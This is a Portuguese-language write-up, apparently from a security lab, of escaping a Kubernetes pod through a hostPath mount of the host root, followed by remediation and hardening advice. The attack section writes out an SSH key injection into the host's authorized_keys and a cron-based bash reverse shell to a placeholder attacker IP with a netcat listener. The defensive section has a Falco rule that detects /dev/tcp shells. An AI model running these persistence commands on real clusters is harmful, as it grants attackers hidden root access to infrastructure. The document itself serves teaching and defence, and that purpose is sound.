🎯 Introdução
Introdução
Nesta subpesquisa, exploramos uma vulnerabilidade crítica de configuração em um pod Kubernetes que expõe um serviço de webshell. A falha reside na montagem privilegiada do sistema de arquivos do host dentro do container, permitindo que um atacante escape completamente do ambiente containerizado e obtenha acesso direto ao worker node do cluster.
O cenário demonstra como uma má configuração aparentemente simples pode comprometer não apenas o container, mas todo o nó de infraestrutura, abrindo caminho para movimentação lateral e persistência no cluster.
Objetivos
- Identificar montagens de volumes suspeitas no container webshell.
- Explorar o acesso ao sistema de arquivos do host para obter informações críticas.
- Estabelecer acesso SSH persistente ao worker node.
- Implementar mecanismo de persistência através de cronjob com reverse shell.
- Validar a resiliência do mecanismo de persistência.
🛠 Metodologia de Ataque (Red Team)
A exploração seguiu a cadeia de ataque de Container Breakout através de volume mount privilegiado.
1. Reconhecimento Inicial
O serviço webshell estava acessível via navegador, fornecendo uma interface de linha de comando diretamente no browser.

A primeira ação foi enumerar as montagens de volumes disponíveis no container para identificar possíveis vetores de escape:
mount

Descoberta Crítica: A saída revelou uma montagem extremamente perigosa:
tmpfs on /host-system/var/lib/kubelet/pods
Esta montagem indica que o sistema de arquivos do host está acessível através do diretório /host-system, uma configuração que viola completamente o isolamento de containers.
2. Exploração do Sistema Host
Com acesso ao sistema de arquivos do host, navegamos para o diretório raiz do sistema:
cd /host-system
O objetivo era estabelecer acesso SSH persistente. Para isso, tentamos acessar o diretório .ssh e modificar o arquivo authorized_keys:

Obstáculo: O container não possuía editores de texto (vim ou nano) instalados. Isso é uma boa prática de segurança (imagens mínimas), mas não impediu o ataque.
Solução: Utilizamos o comando echo para adicionar nossa chave SSH pública:
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXFil boneka@boneka-cyberwi" >> authorized_keys
3. Enumeração de Rede do Host
Para estabelecer conexão SSH, precisávamos do endereço IP do worker node. Primeiro, identificamos o sistema operacional:
cat /etc/os-release

Resultado: Ubuntu Server - sistema conhecido por armazenar configurações de rede no diretório /etc/netplan.
Navegamos até o diretório de configuração de rede:
cat /etc/netplan/*.yaml

IP do Host Identificado: Com o endereço IP em mãos, estávamos prontos para testar o acesso SSH.
4. Estabelecimento de Acesso SSH
Da máquina atacante, testamos a conexão SSH utilizando a chave privada correspondente:
ssh -i ~/.ssh/id_ed25519 root@<HOST_IP>

Sucesso! Obtivemos acesso completo ao worker node do Kubernetes com privilégios de root.
5. Implementação de Persistência
Embora o acesso SSH seja efetivo, ele pode ser facilmente detectado e removido por um administrador que revise o arquivo authorized_keys. Para garantir persistência mais robusta, implementamos um mecanismo de reverse shell automático via cronjob.
Estratégia: Configurar um cronjob que executa a cada minuto, estabelecendo uma conexão reversa para a máquina atacante.
No host comprometido:
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/IP_ATTACKER_MACHINE/4444 0>&1'" | crontab -
Este comando cria uma entrada no crontab que:
- Executa a cada minuto (
* * * * *) - Abre uma shell bash interativa
- Redireciona stdin, stdout e stderr para um socket TCP conectado à máquina atacante
Na máquina atacante:
nc -lvnp 4444
Configuramos um listener Netcat na porta 4444 para receber as conexões reversas.
6. Validação de Persistência
Após aguardar 1 minuto, a conexão reversa foi estabelecida automaticamente:

Teste de Resiliência: Fechamos a conexão e aguardamos novamente. Em exatamente 1 minuto, uma nova sessão foi estabelecida automaticamente:

Resultado: O mecanismo de persistência provou ser resiliente, reconectando automaticamente mesmo após perda de conexão.
🛡 Análise de Impacto e Mitigação (Blue Team)
Esta vulnerabilidade é classificada como Crítica com severidade máxima. O comprometimento não se limita ao container, mas estende-se ao nó inteiro do cluster Kubernetes, potencialmente afetando todos os pods em execução naquele worker.
Impacto da Exploração
- Escape Completo de Container: Acesso irrestrito ao sistema de arquivos do host.
- Privilégios Elevados: Acesso root ao worker node.
- Persistência Robusta: Mecanismo de reconexão automática dificulta a remoção.
- Movimentação Lateral: Possibilidade de comprometer outros nós e recursos do cluster.
- Exfiltração de Dados: Acesso a secrets, tokens e configurações de todos os pods no nó.
Como Corrigir (Remediação Imediata)
- Remover Volume Mount Privilegiado: Revisar e eliminar a montagem do sistema de arquivos do host no manifesto do pod:
# CONFIGURAÇÃO INSEGURA - REMOVER
volumeMounts:
- name: host-system
mountPath: /host-system
volumes:
- name: host-system
hostPath:
path: /
Limpar Persistência:
- Remover a chave SSH do
authorized_keys - Limpar o crontab:
crontab -r - Verificar processos suspeitos:
ps aux | grep bash - Revisar logs do sistema:
/var/log/auth.loge/var/log/syslog
- Remover a chave SSH do
Rotacionar Credenciais: Assumir que todos os secrets do nó foram comprometidos e rotacioná-los.
Como Prevenir (Hardening de Cluster)
1. Pod Security Standards
Implemente Pod Security Admission no namespace para bloquear configurações perigosas:
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
O nível restricted bloqueia automaticamente:
- Montagens de
hostPath - Execução como root
- Capabilities privilegiadas
2. Admission Controllers
Configure o PodSecurityPolicy (ou substituto OPA/Kyverno) para negar pods com:
# Exemplo de política Kyverno
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-host-path
spec:
validationFailureAction: enforce
rules:
- name: deny-host-path
match:
resources:
kinds:
- Pod
validate:
message: "HostPath volumes are forbidden"
pattern:
spec:
=(volumes):
- X(hostPath): "null"
3. Runtime Security
Implemente ferramentas de detecção de runtime como Falco para alertar sobre:
- Modificações em
/etc/crontaboucrontab -e - Alterações em
~/.ssh/authorized_keys - Conexões de rede de saída suspeitas
- Execução de shells interativas em containers
Exemplo de regra Falco:
- rule: Detect Reverse Shell
desc: Detects reverse shell connections
condition: >
spawned_process and
proc.name in (bash, sh) and
fd.name contains "/dev/tcp/"
output: "Reverse shell detected (user=%user.name command=%proc.cmdline)"
priority: CRITICAL
4. Network Policies
Restrinja conexões de saída não autorizadas:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-egress
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- namespaceSelector: {}
ports:
- protocol: TCP
port: 443 # Apenas HTTPS para APIs internas
5. Auditoria e Monitoramento
- Kubernetes Audit Logs: Habilite auditoria para rastrear criação de pods com configurações suspeitas
- SIEM Integration: Envie logs para sistemas centralizados (Splunk, ELK, etc.)
- Alertas Automatizados: Configure alertas para modificações em arquivos críticos do host
📊 Conclusão
Esta subpesquisa demonstrou a severidade de montar o sistema de arquivos do host dentro de um container. O que começou como acesso a um webshell simples escalou rapidamente para comprometimento total do worker node com persistência robusta.
A cadeia de ataque foi facilitada por:
- Configuração Insegura: Volume mount do host sem justificativa
- Falta de Segmentação: Ausência de Pod Security Standards
- Ausência de Monitoramento: Nenhum alerta para modificações críticas
A defesa efetiva requer múltiplas camadas: políticas preventivas (PSA/PSP), detecção em runtime (Falco), segmentação de rede (NetworkPolicies) e monitoramento contínuo. Nenhum container deveria ter acesso ao sistema de arquivos do host, exceto em casos extremamente específicos e controlados.
Assinado: BITC (Boy in the Cluster)
